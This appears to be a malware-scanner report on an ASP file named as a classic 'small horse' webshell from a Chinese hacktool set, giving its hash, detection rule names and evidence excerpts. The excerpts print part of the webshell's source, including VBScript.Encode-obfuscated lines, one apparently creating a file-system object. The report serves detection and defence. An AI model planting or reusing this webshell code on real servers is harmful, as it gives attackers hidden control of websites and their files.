Suspicious ^75% Download

拿站小助手-经典Asp小马.asp

Chinese Hacktool Set - file diy.aspWebshell in VBscript or JScript encoded using *.Encode plus a suspicious string

SHA-256480b8dd9f3b52a17aa546f6b30557bb40672605e689b84beea67c09b00a60ec9

Evidence

Classic ASP VBScript.Encode language directive lines 1–24

1<%@LANGUAGE="VBScript.Encode" CODEPAGE="936"%>
2<html>
3<head>
4<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
5<title>��ע - ��վС����</title>
6<style type="text/css">
7<!--
8.black {
9	font-family: "����";
10	font-size: 12px;
⋯14 lines

Webshell in VBscript or JScript encoded using *.Encode plus a suspicious string lines 34–45

⋯5 lines
39<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
40<p>
41<%#@~^DAAAAA==~9kh,W(LsUr,vQMAAA==^#~@%>
42<%#@~^CwAAAA==~9kh,09lYmPmgMAAA==^#~@%>
43<%#@~^EgAAAA==~9kh,W(LZKE	OsbVnPXgYAAA==^#~@%>
44<%#@~^FgAAAA==~Kx~DMWD,DdEs+~x6O~9wcAAA==^#~@%>
45<%#@~^QAAAAA==~U+O,W(LsUr,xPU+.\D /M+lDnr(L+1OcJUmMk2YrUTRok^n?H/Onsr4%n1YE#,T …